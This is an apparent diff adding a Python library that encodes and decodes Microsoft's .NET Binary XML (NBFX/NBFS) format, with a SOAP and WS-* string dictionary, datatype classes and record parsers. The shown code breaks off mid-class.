||||
0x208: "AttributeValue",
|
||||
0x20A: "Audience",
|
||||
0x20C: "AudienceRestrictionCondition",
|
||||
0x20E: "AuthenticationInstant",
|
||||
0x210: "AuthenticationMethod",
|
||||
0x212: "AuthenticationStatement",
|
||||
0x214: "AuthorityBinding",
|
||||
0x216: "AuthorityKind",
|
||||
0x218: "AuthorizationDecisionStatement",
|
||||
0x21A: "Binding",
|
||||
0x21C: "Condition",
|
||||
0x21E: "Conditions",
|
||||
0x220: "Decision",
|
||||
0x222: "DoNotCacheCondition",
|
||||
0x224: "Evidence",
|
||||
0x226: "IssueInstant",
|
||||
0x228: "Issuer",
|
||||
0x22A: "Location",
|
||||
0x22C: "MajorVersion",
|
||||
0x22E: "MinorVersion",
|
||||
0x230: "NameIdentifier",
|
||||
0x232: "Format",
|
||||
0x234: "NameQualifier",
|
||||
0x236: "Namespace",
|
||||
0x238: "NotBefore",
|
||||
0x23A: "NotOnOrAfter",
|
||||
0x23C: "saml",
|
||||
0x23E: "Statement",
|
||||
0x240: "Subject",
|
||||
0x242: "SubjectConfirmation",
|
||||
0x244: "SubjectConfirmationData",
|
||||
0x246: "ConfirmationMethod",
|
||||
0x248: "urn:oasis:names:tc:SAML:1.0:cm:holder-of-key",
|
||||
0x24A: "urn:oasis:names:tc:SAML:1.0:cm:sender-vouches",
|
||||
0x24C: "SubjectLocality",
|
||||
0x24E: "DNSAddress",
|
||||
0x250: "IPAddress",
|
||||
0x252: "SubjectStatement",
|
||||
0x254: "urn:oasis:names:tc:SAML:1.0:am:unspecified",
|
||||
0x256: "xmlns",
|
||||
0x258: "Resource",
|
||||
0x25A: "UserName",
|
||||
0x25C: "urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName",
|
||||
0x25E: "EmailName",
|
||||
0x260: "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress",
|
||||
0x262: "u",
|
||||
0x264: "ChannelInstance",
|
||||
0x266: "http://schemas.microsoft.com/ws/2005/02/duplex",
|
||||
0x268: "Encoding",
|
||||
0x26A: "MimeType",
|
||||
0x26C: "CarriedKeyName",
|
||||
0x26E: "Recipient",
|
||||
0x270: "EncryptedKey",
|
||||
0x272: "KeyReference",
|
||||
0x274: "e",
|
||||
0x276: "http://www.w3.org/2001/04/xmlenc#Element",
|
||||
0x278: "http://www.w3.org/2001/04/xmlenc#Content",
|
||||
0x27A: "KeyName",
|
||||
0x27C: "MgmtData",
|
||||
0x27E: "KeyValue",
|
||||
0x280: "RSAKeyValue",
|
||||
0x282: "Modulus",
|
||||
0x284: "Exponent",
|
||||
0x286: "X509Data",
|
||||
0x288: "X509IssuerSerial",
|
||||
0x28A: "X509IssuerName",
|
||||
0x28C: "X509SerialNumber",
|
||||
0x28E: "X509Certificate",
|
||||
0x290: "AckRequested",
|
||||
0x292: "http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested",
|
||||
0x294: "AcksTo",
|
||||
0x296: "Accept",
|
||||
0x298: "CreateSequence",
|
||||
0x29A: "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence",
|
||||
0x29C: "CreateSequenceRefused",
|
||||
0x29E: "CreateSequenceResponse",
|
||||
0x2A0: "http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse",
|
||||
0x2A2: "FaultCode",
|
||||
0x2A4: "InvalidAcknowledgement",
|
||||
0x2A6: "LastMessage",
|
||||
0x2A8: "http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage",
|
||||
0x2AA: "LastMessageNumberExceeded",
|
||||
0x2AC: "MessageNumberRollover",
|
||||
0x2AE: "Nack",
|
||||
0x2B0: "netrm",
|
||||
0x2B2: "Offer",
|
||||
0x2B4: "r",
|
||||
0x2B6: "SequenceFault",
|
||||
0x2B8: "SequenceTerminated",
|
||||
0x2BA: "TerminateSequence",
|
||||
0x2BC: "http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence",
|
||||
0x2BE: "UnknownSequence",
|
||||
0x2C0: "http://schemas.microsoft.com/ws/2006/02/tx/oletx",
|
||||
0x2C2: "oletx",
|
||||
0x2C4: "OleTxTransaction",
|
||||
0x2C6: "PropagationToken",
|
||||
0x2C8: "http://schemas.xmlsoap.org/ws/2004/10/wscoor",
|
||||
0x2CA: "wscoor",
|
||||
0x2CC: "CreateCoordinationContext",
|
||||
0x2CE: "CreateCoordinationContextResponse",
|
||||
0x2D0: "CoordinationContext",
|
||||
0x2D2: "CurrentContext",
|
||||
0x2D4: "CoordinationType",
|
||||
0x2D6: "RegistrationService",
|
||||
0x2D8: "Register",
|
||||
0x2DA: "RegisterResponse",
|
||||
0x2DC: "ProtocolIdentifier",
|
||||
0x2DE: "CoordinatorProtocolService",
|
||||
0x2E0: "ParticipantProtocolService",
|
||||
0x2E2: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext",
|
||||
0x2E4: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse",
|
||||
0x2E6: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register",
|
||||
0x2E8: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse",
|
||||
0x2EA: "http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault",
|
||||
0x2EC: "ActivationCoordinatorPortType",
|
||||
0x2EE: "RegistrationCoordinatorPortType",
|
||||
0x2F0: "InvalidState",
|
||||
0x2F2: "InvalidProtocol",
|
||||
0x2F4: "InvalidParameters",
|
||||
0x2F6: "NoActivity",
|
||||
0x2F8: "ContextRefused",
|
||||
0x2FA: "AlreadyRegistered",
|
||||
0x2FC: "http://schemas.xmlsoap.org/ws/2004/10/wsat",
|
||||
0x2FE: "wsat",
|
||||
0x300: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion",
|
||||
0x302: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC",
|
||||
0x304: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC",
|
||||
0x306: "Prepare",
|
||||
0x308: "Prepared",
|
||||
0x30A: "ReadOnly",
|
||||
0x30C: "Commit",
|
||||
0x30E: "Rollback",
|
||||
0x310: "Committed",
|
||||
0x312: "Aborted",
|
||||
0x314: "Replay",
|
||||
0x316: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit",
|
||||
0x318: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback",
|
||||
0x31A: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed",
|
||||
0x31C: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted",
|
||||
0x31E: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare",
|
||||
0x320: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared",
|
||||
0x322: "http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly",
|
||||
0x324: "http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay",
|
||||
0x326: "http://schemas.xmlsoap.org/ws/2004/10/wsat/fault",
|
||||
0x328: "CompletionCoordinatorPortType",
|
||||
0x32A: "CompletionParticipantPortType",
|
||||
0x32C: "CoordinatorPortType",
|
||||
0x32E: "ParticipantPortType",
|
||||
0x330: "InconsistentInternalState",
|
||||
0x332: "mstx",
|
||||
0x334: "Enlistment",
|
||||
0x336: "protocol",
|
||||
0x338: "LocalTransactionId",
|
||||
0x33A: "IsolationLevel",
|
||||
0x33C: "IsolationFlags",
|
||||
0x33E: "Description",
|
||||
0x340: "Loopback",
|
||||
0x342: "RegisterInfo",
|
||||
0x344: "ContextId",
|
||||
0x346: "TokenId",
|
||||
0x348: "AccessDenied",
|
||||
0x34A: "InvalidPolicy",
|
||||
0x34C: "CoordinatorRegistrationFailed",
|
||||
0x34E: "TooManyEnlistments",
|
||||
0x350: "Disabled",
|
||||
0x352: "ActivityId",
|
||||
0x354: "http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics",
|
||||
0x356: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1",
|
||||
0x358: "http://schemas.xmlsoap.org/ws/2002/12/policy",
|
||||
0x35A: "FloodMessage",
|
||||
0x35C: "LinkUtility",
|
||||
0x35E: "Hops",
|
||||
0x360: "http://schemas.microsoft.com/net/2006/05/peer/HopCount",
|
||||
0x362: "PeerVia",
|
||||
0x364: "http://schemas.microsoft.com/net/2006/05/peer",
|
||||
0x366: "PeerFlooder",
|
||||
0x368: "PeerTo",
|
||||
0x36A: "http://schemas.microsoft.com/ws/2005/05/routing",
|
||||
0x36C: "PacketRoutable",
|
||||
0x36E: "http://schemas.microsoft.com/ws/2005/05/addressing/none",
|
||||
0x370: "http://schemas.microsoft.com/ws/2005/05/envelope/none",
|
||||
0x372: "http://www.w3.org/2001/XMLSchema-instance",
|
||||
0x374: "http://www.w3.org/2001/XMLSchema",
|
||||
0x376: "nil",
|
||||
0x378: "type",
|
||||
0x37A: "char",
|
||||
0x37C: "boolean",
|
||||
0x37E: "byte",
|
||||
0x380: "unsignedByte",
|
||||
0x382: "short",
|
||||
0x384: "unsignedShort",
|
||||
0x386: "int",
|
||||
0x388: "unsignedInt",
|
||||
0x38A: "long",
|
||||
0x38C: "unsignedLong",
|
||||
0x38E: "float",
|
||||
0x390: "double",
|
||||
0x392: "decimal",
|
||||
0x394: "dateTime",
|
||||
0x396: "string",
|
||||
0x398: "base64Binary",
|
||||
0x39A: "anyType",
|
||||
0x39C: "duration",
|
||||
0x39E: "guid",
|
||||
0x3A0: "anyURI",
|
||||
0x3A2: "QName",
|
||||
0x3A4: "time",
|
||||
0x3A6: "date",
|
||||
0x3A8: "hexBinary",
|
||||
0x3AA: "gYearMonth",
|
||||
0x3AC: "gYear",
|
||||
0x3AE: "gMonthDay",
|
||||
0x3B0: "gDay",
|
||||
0x3B2: "gMonth",
|
||||
0x3B4: "integer",
|
||||
0x3B6: "positiveInteger",
|
||||
0x3B8: "negativeInteger",
|
||||
0x3BA: "nonPositiveInteger",
|
||||
0x3BC: "nonNegativeInteger",
|
||||
0x3BE: "normalizedString",
|
||||
0x3C0: "ConnectionLimitReached",
|
||||
0x3C2: "http://schemas.xmlsoap.org/soap/envelope/",
|
||||
0x3C4: "actor",
|
||||
0x3C6: "faultcode",
|
||||
0x3C8: "faultstring",
|
||||
0x3CA: "faultactor",
|
||||
0x3CC: "detail",
|
||||
}
|
||||
|
||||
# StringTable (specs in [MC-NBFSE])
|
||||
# mapping even integers to set of characters (defined at application-level)
|
||||
|
||||
# Trick: Fill all entries
|
||||
i = 0x01
|
||||
while i < 0xFFF:
|
||||
DICTIONARY[i] = "[[VALUE_0x%02x]]" % i
|
||||
i += 2
|
||||
|
||||
INVERTED_DICT = dict([(v, k) for (k, v) in DICTIONARY.items()])
|
||||
@@ -0,0 +1,108 @@
|
||||
import logging
|
||||
import struct
|
||||
|
||||
from typing import Self
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MultiByteInt31(object):
|
||||
def __init__(self, value: int):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
MAXMBI = 0x7F
|
||||
|
||||
if self.value < 0:
|
||||
raise ValueError("Signed numbers are not supported")
|
||||
|
||||
if self.value <= MAXMBI:
|
||||
return bytes([self.value])
|
||||
|
||||
result = []
|
||||
for _ in range(5):
|
||||
byte = self.value & MAXMBI
|
||||
self.value >>= 7
|
||||
if self.value != 0:
|
||||
byte |= MAXMBI + 1
|
||||
result.append(byte)
|
||||
|
||||
if self.value == 0:
|
||||
break
|
||||
|
||||
return bytes(result)
|
||||
|
||||
def __str__(self):
|
||||
return str(self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
# TODO: better error message needed when bytes value too large
|
||||
MAXMBI = 0x7F
|
||||
|
||||
value = 0
|
||||
for i in range(5):
|
||||
v = struct.unpack("<B", fp.read(1))[0]
|
||||
value |= (v & MAXMBI) << 7 * i
|
||||
if not v & (MAXMBI + 1):
|
||||
break
|
||||
return cls(value)
|
||||
|
||||
|
||||
class Utf8String(object):
|
||||
def __init__(self, value: str):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-8")
|
||||
strlen = len(data)
|
||||
return MultiByteInt31(strlen).to_bytes() + data
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
def __unicode__(self):
|
||||
return self.value
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
lngth = struct.unpack("<B", fp.read(1))[0]
|
||||
return cls(fp.read(lngth).decode("utf8", errors="ignore"))
|
||||
|
||||
|
||||
class Decimal(object):
|
||||
def __init__(self, sign, high, low, scale):
|
||||
if not 0 <= scale <= 28:
|
||||
raise ValueError("scale %d isn't between 0 and 28" % scale)
|
||||
self.sign = sign
|
||||
self.high = high
|
||||
self.low = low
|
||||
self.scale = scale
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<H", 0)
|
||||
bytes += struct.pack("<B", self.scale)
|
||||
bytes += struct.pack("<B", 0x80 if self.sign else 0x00)
|
||||
bytes += struct.pack("<I", self.high)
|
||||
bytes += struct.pack("<Q", self.low)
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
value = str(self.high * 2**64 + self.low)
|
||||
if self.scale > 0:
|
||||
value = value[: -self.scale] + "." + value[-self.scale :]
|
||||
|
||||
if self.sign:
|
||||
value = "-%s" % value
|
||||
return value
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
fp.read(2)
|
||||
scale = struct.unpack("<B", fp.read(1))[0]
|
||||
sign = struct.unpack("<B", fp.read(1))[0] & 0x80
|
||||
high = struct.unpack("<I", fp.read(4))[0]
|
||||
low = struct.unpack("<Q", fp.read(8))[0]
|
||||
|
||||
return cls(sign, high, low, scale)
|
||||
@@ -0,0 +1,198 @@
|
||||
import struct
|
||||
from typing import Self
|
||||
|
||||
from .constants import DICTIONARY
|
||||
from .datatypes import MultiByteInt31, Utf8String
|
||||
from .record import Element, record
|
||||
|
||||
|
||||
class ShortElementRecord(Element):
|
||||
type = 0x40
|
||||
|
||||
def __init__(self, name: str, *args, **kwargs):
|
||||
self.childs = []
|
||||
self.name = name
|
||||
self.attributes = []
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = Utf8String(self.name)
|
||||
|
||||
bytes = super(ShortElementRecord, self).to_bytes() + string.to_bytes()
|
||||
|
||||
for attr in self.attributes:
|
||||
bytes += attr.to_bytes()
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
attributes_str = " ".join([str(a) for a in self.attributes])
|
||||
return f"<{self.name}{f' {attributes_str}' if attributes_str else ''}>"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp):
|
||||
name = Utf8String.parse(fp).value
|
||||
return cls(name)
|
||||
|
||||
|
||||
class ElementRecord(ShortElementRecord):
|
||||
type = 0x41
|
||||
|
||||
def __init__(self, prefix: str, name: str, *args, **kwargs):
|
||||
super(ElementRecord, self).__init__(name)
|
||||
self.prefix = prefix
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
pref = Utf8String(self.prefix)
|
||||
data = super(ElementRecord, self).to_bytes()
|
||||
type = data[0]
|
||||
return type.to_bytes() + pref.to_bytes() + data[1:]
|
||||
|
||||
def __str__(self):
|
||||
attributes_str = " ".join([str(a) for a in self.attributes])
|
||||
return f"<{self.prefix}:{self.name}{f' {attributes_str}' if attributes_str else ''}>"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp):
|
||||
prefix = Utf8String.parse(fp).value
|
||||
name = Utf8String.parse(fp).value
|
||||
return cls(prefix, name)
|
||||
|
||||
|
||||
class ShortDictionaryElementRecord(Element):
|
||||
type = 0x42
|
||||
|
||||
def __init__(self, index: int, *args, **kwargs):
|
||||
self.childs = []
|
||||
self.index = index
|
||||
self.attributes = []
|
||||
self.name = DICTIONARY[self.index]
|
||||
|
||||
def __str__(self):
|
||||
attributes_str = " ".join([str(a) for a in self.attributes])
|
||||
return f"<{self.name} {f' {attributes_str}' if attributes_str else ''}>"
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = MultiByteInt31(self.index)
|
||||
|
||||
bytes = super(ShortDictionaryElementRecord, self).to_bytes() + string.to_bytes()
|
||||
|
||||
for attr in self.attributes:
|
||||
bytes += attr.to_bytes()
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp):
|
||||
index = MultiByteInt31.parse(fp).value
|
||||
return cls(index)
|
||||
|
||||
|
||||
class DictionaryElementRecord(Element):
|
||||
type = 0x43
|
||||
|
||||
def __init__(self, prefix: str, index: int, *args, **kwargs):
|
||||
self.childs = []
|
||||
self.prefix = prefix
|
||||
self.index = index
|
||||
self.attributes = []
|
||||
self.name = DICTIONARY[self.index]
|
||||
|
||||
def __str__(self):
|
||||
attributes_str = " ".join(str(a) for a in self.attributes)
|
||||
return f"<{self.prefix}:{self.name}{' ' + attributes_str if attributes_str else ''}>"
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
pref = Utf8String(self.prefix)
|
||||
string = MultiByteInt31(self.index)
|
||||
|
||||
bytes = (
|
||||
super(DictionaryElementRecord, self).to_bytes()
|
||||
+ pref.to_bytes()
|
||||
+ string.to_bytes()
|
||||
)
|
||||
|
||||
for attr in self.attributes:
|
||||
bytes += attr.to_bytes()
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp):
|
||||
prefix = Utf8String.parse(fp).value
|
||||
index = MultiByteInt31.parse(fp).value
|
||||
return cls(prefix, index)
|
||||
|
||||
|
||||
class PrefixElementRecord(ElementRecord):
|
||||
def __init__(self, name: str):
|
||||
super(PrefixElementRecord, self).__init__(self.char, name)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = Utf8String(self.name)
|
||||
|
||||
bytes = struct.pack("<B", self.type) + string.to_bytes()
|
||||
|
||||
for attr in self.attributes:
|
||||
bytes += attr.to_bytes()
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp):
|
||||
name = Utf8String.parse(fp).value
|
||||
return cls(name)
|
||||
|
||||
|
||||
class PrefixDictionaryElementRecord(DictionaryElementRecord):
|
||||
def __init__(self, index: int):
|
||||
super(PrefixDictionaryElementRecord, self).__init__(self.char, index)
|
||||
# TODO: what is self.char????
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = MultiByteInt31(self.index)
|
||||
|
||||
bytes = struct.pack("<B", self.type) + string.to_bytes()
|
||||
|
||||
for attr in self.attributes:
|
||||
bytes += attr.to_bytes()
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
return cls(index)
|
||||
|
||||
|
||||
record.add_records(
|
||||
(
|
||||
ShortElementRecord,
|
||||
ElementRecord,
|
||||
ShortDictionaryElementRecord,
|
||||
DictionaryElementRecord,
|
||||
)
|
||||
)
|
||||
|
||||
__records__ = []
|
||||
|
||||
for c in range(0x44, 0x5D + 1):
|
||||
char = chr(c - 0x44 + ord("a"))
|
||||
cls = type(
|
||||
"PrefixDictionaryElement" + char.upper() + "Record",
|
||||
(PrefixDictionaryElementRecord,),
|
||||
dict(
|
||||
type=c,
|
||||
char=char,
|
||||
),
|
||||
)
|
||||
__records__.append(cls)
|
||||
|
||||
for c in range(0x5E, 0x77 + 1):
|
||||
char = chr(c - 0x5E + ord("a"))
|
||||
cls = type(
|
||||
"PrefixElement" + char.upper() + "Record",
|
||||
(PrefixElementRecord,),
|
||||
dict(
|
||||
type=c,
|
||||
char=char,
|
||||
),
|
||||
)
|
||||
__records__.append(cls)
|
||||
|
||||
record.add_records(__records__)
|
||||
del __records__
|
||||
@@ -0,0 +1,208 @@
|
||||
import struct
|
||||
|
||||
from typing import Self, Type
|
||||
|
||||
import logging as log
|
||||
|
||||
from .datatypes import MultiByteInt31, Utf8String
|
||||
|
||||
|
||||
class record:
|
||||
records: dict[int, Type[Self]] = dict()
|
||||
|
||||
@classmethod
|
||||
def add_records(cls, records):
|
||||
"""adds records to the lookup table
|
||||
|
||||
Args:
|
||||
records (list[record]): list of record subclasses
|
||||
"""
|
||||
for r in records:
|
||||
record.records[r.type] = r
|
||||
|
||||
def __init__(self, type=None):
|
||||
if type:
|
||||
self.type = type
|
||||
|
||||
self.childs = []
|
||||
self.parent = None
|
||||
|
||||
def to_bytes(self):
|
||||
"""
|
||||
Generates the representing bytes of the record
|
||||
|
||||
"""
|
||||
return struct.pack("<B", self.type)
|
||||
|
||||
def __repr__(self):
|
||||
args = ["type=0x%X" % self.type]
|
||||
return "<%s(%s)>" % (type(self).__name__, ",".join(args))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> list[Self] | Self:
|
||||
"""
|
||||
Parses the binary data from fp into record objects
|
||||
|
||||
Args:
|
||||
fp: file like object to read from
|
||||
Returns:
|
||||
(record): a root record object with its child records
|
||||
"""
|
||||
if cls != record:
|
||||
return cls() # TODO: this might need to be removed from list
|
||||
root = []
|
||||
records = root
|
||||
parents = []
|
||||
last_el = None
|
||||
|
||||
while True:
|
||||
# Gate the parsing. When there is no more
|
||||
# to read, return the current parsed data
|
||||
type_byte: bytes = fp.read(1)
|
||||
if not type_byte:
|
||||
return root
|
||||
|
||||
type: int = struct.unpack("<B", type_byte)[0]
|
||||
|
||||
if type in record.records:
|
||||
log.debug("%s found" % record.records[type].__name__)
|
||||
|
||||
obj = record.records[type].parse(fp)
|
||||
|
||||
if isinstance(obj, EndElementRecord):
|
||||
if parents:
|
||||
records = parents.pop()
|
||||
|
||||
elif isinstance(obj, Element):
|
||||
last_el = obj
|
||||
records.append(obj)
|
||||
parents.append(records)
|
||||
obj.childs = []
|
||||
records = obj.childs
|
||||
|
||||
elif isinstance(obj, Attribute) and last_el:
|
||||
last_el.attributes.append(obj)
|
||||
|
||||
else:
|
||||
records.append(obj)
|
||||
|
||||
log.debug("Value: %s" % str(obj))
|
||||
|
||||
# if the type isnt already in the declared types,
|
||||
# then it is a '*WithEnd' type record
|
||||
elif type - 1 in record.records:
|
||||
log.debug(
|
||||
"%s with end element found (0x%x)"
|
||||
% (record.records[type - 1].__name__, type)
|
||||
)
|
||||
records.append(record.records[type - 1].parse(fp))
|
||||
last_el = None
|
||||
|
||||
if parents:
|
||||
records = parents.pop()
|
||||
else:
|
||||
log.warn("type 0x%x not found" % type)
|
||||
|
||||
return root
|
||||
|
||||
|
||||
class Element(record): ...
|
||||
|
||||
|
||||
class EndElementRecord(Element):
|
||||
type = 0x01
|
||||
|
||||
|
||||
class Attribute(record): ...
|
||||
|
||||
|
||||
class CommentRecord(record):
|
||||
type = 0x02
|
||||
|
||||
def __init__(self, comment: str, *args, **kwargs):
|
||||
super(CommentRecord, self).__init__()
|
||||
self.comment = comment
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = Utf8String(self.comment)
|
||||
|
||||
return super(CommentRecord, self).to_bytes() + string.to_bytes()
|
||||
|
||||
def __str__(self):
|
||||
return "<!-- %s -->" % self.comment
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
data: str = Utf8String.parse(fp).value
|
||||
return cls(data)
|
||||
|
||||
|
||||
class ArrayRecord(record):
|
||||
type = 0x03
|
||||
|
||||
# note, these are NOT the same thing as like a ZeroTextWithEndElement
|
||||
# see [MC-NBFX]: 2.2.3.31
|
||||
datatypes: dict[int, tuple[str, int, str]] = {
|
||||
0xB5: ("BoolTextWithEndElement", 1, "?"),
|
||||
0x8B: ("Int16TextWithEndElement", 2, "h"),
|
||||
0x8D: ("Int32TextWithEndElement", 4, "i"),
|
||||
0x8F: ("Int64TextWithEndElement", 8, "q"),
|
||||
0x91: ("FloatTextWithEndElement", 4, "f"),
|
||||
0x93: ("DoubleTextWithEndElement", 8, "d"),
|
||||
0x95: ("DecimalTextWithEndElement", 16, ""),
|
||||
0x97: ("DateTimeTextWithEndElement", 8, ""),
|
||||
0xAF: ("TimeSpanTextWithEndElement", 8, ""),
|
||||
0xB1: ("UuidTextWithEndElement", 16, ""),
|
||||
}
|
||||
|
||||
def __init__(self, element, recordtype, data):
|
||||
super(ArrayRecord, self).__init__()
|
||||
self.element = element
|
||||
self.recordtype = recordtype
|
||||
self.count = len(data)
|
||||
self.data = data
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = super(ArrayRecord, self).to_bytes()
|
||||
bytes += self.element.to_bytes()
|
||||
bytes += EndElementRecord().to_bytes()
|
||||
bytes += struct.pack("<B", self.recordtype)[0]
|
||||
bytes += MultiByteInt31(self.count).to_bytes()
|
||||
for data in self.data:
|
||||
if type(data) == str:
|
||||
bytes += data
|
||||
else:
|
||||
bytes += data.to_bytes()
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
element_type = struct.unpack("<B", fp.read(1))[0]
|
||||
element = cls.records[element_type].parse(fp)
|
||||
element_end = fp.read(1)
|
||||
while element_end != b"\x01":
|
||||
element_end = fp.read(1)
|
||||
recordtype = struct.unpack("<B", fp.read(1))[0]
|
||||
count = MultiByteInt31.parse(fp).value
|
||||
data = []
|
||||
for i in range(count):
|
||||
data.append(cls.records[recordtype - 1].parse(fp))
|
||||
return cls(element, recordtype, data)
|
||||
|
||||
def __str__(self):
|
||||
string = ""
|
||||
for data in self.data:
|
||||
string += str(self.element)
|
||||
string += str(data)
|
||||
string += "</%s>" % self.element.name
|
||||
|
||||
return string
|
||||
|
||||
|
||||
record.add_records(
|
||||
(
|
||||
EndElementRecord,
|
||||
CommentRecord,
|
||||
ArrayRecord,
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,606 @@
|
||||
import base64
|
||||
import datetime
|
||||
import struct
|
||||
from html.entities import codepoint2name
|
||||
from typing import Self
|
||||
|
||||
from .constants import DICTIONARY
|
||||
from .datatypes import Decimal, MultiByteInt31
|
||||
from .record import record
|
||||
|
||||
|
||||
class Text(record): ...
|
||||
|
||||
|
||||
class ZeroTextRecord(Text):
|
||||
type = 0x80
|
||||
|
||||
def __str__(self):
|
||||
return "0"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls()
|
||||
|
||||
|
||||
class OneTextRecord(Text):
|
||||
type = 0x82
|
||||
|
||||
def __str__(self):
|
||||
return "1"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls()
|
||||
|
||||
|
||||
class FalseTextRecord(Text):
|
||||
type = 0x84
|
||||
|
||||
def __str__(self):
|
||||
return "false"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls()
|
||||
|
||||
|
||||
class TrueTextRecord(Text):
|
||||
type = 0x86
|
||||
|
||||
def __str__(self):
|
||||
return "true"
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls()
|
||||
|
||||
|
||||
class Int8TextRecord(Text):
|
||||
type = 0x88
|
||||
|
||||
def __init__(self, value):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return super(Int8TextRecord, self).to_bytes() + struct.pack("<b", self.value)
|
||||
|
||||
def __str__(self):
|
||||
return str(self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls(struct.unpack("<b", fp.read(1))[0])
|
||||
|
||||
|
||||
class Int16TextRecord(Int8TextRecord):
|
||||
type = 0x8A
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
# print self.value
|
||||
return struct.pack("<B", self.type) + struct.pack("<h", self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls(struct.unpack("<h", fp.read(2))[0])
|
||||
|
||||
|
||||
class Int32TextRecord(Int8TextRecord):
|
||||
type = 0x8C
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return struct.pack("<B", self.type) + struct.pack("<i", self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls(struct.unpack("<i", fp.read(4))[0])
|
||||
|
||||
|
||||
class Int64TextRecord(Int8TextRecord):
|
||||
type = 0x8E
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return struct.pack("<B", self.type) + struct.pack("<q", self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls(struct.unpack("<q", fp.read(8))[0])
|
||||
|
||||
|
||||
class UInt64TextRecord(Int64TextRecord):
|
||||
type = 0xB2
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return struct.pack("<B", self.type) + struct.pack("<Q", self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
return cls(struct.unpack("<Q", fp.read(8))[0])
|
||||
|
||||
|
||||
class BoolTextRecord(Text):
|
||||
type = 0xB4
|
||||
|
||||
def __init__(self, value):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return struct.pack("<B", self.type) + struct.pack("<B", 1 if self.value else 0)
|
||||
|
||||
def __str__(self):
|
||||
return str(self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value = True if struct.unpack("<B", fp.read(1))[0] == 1 else False
|
||||
return cls(value)
|
||||
|
||||
|
||||
class UnicodeChars8TextRecord(Text):
|
||||
type = 0xB6
|
||||
|
||||
def __init__(self, string):
|
||||
self.value = string
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-16")[2:] # skip bom
|
||||
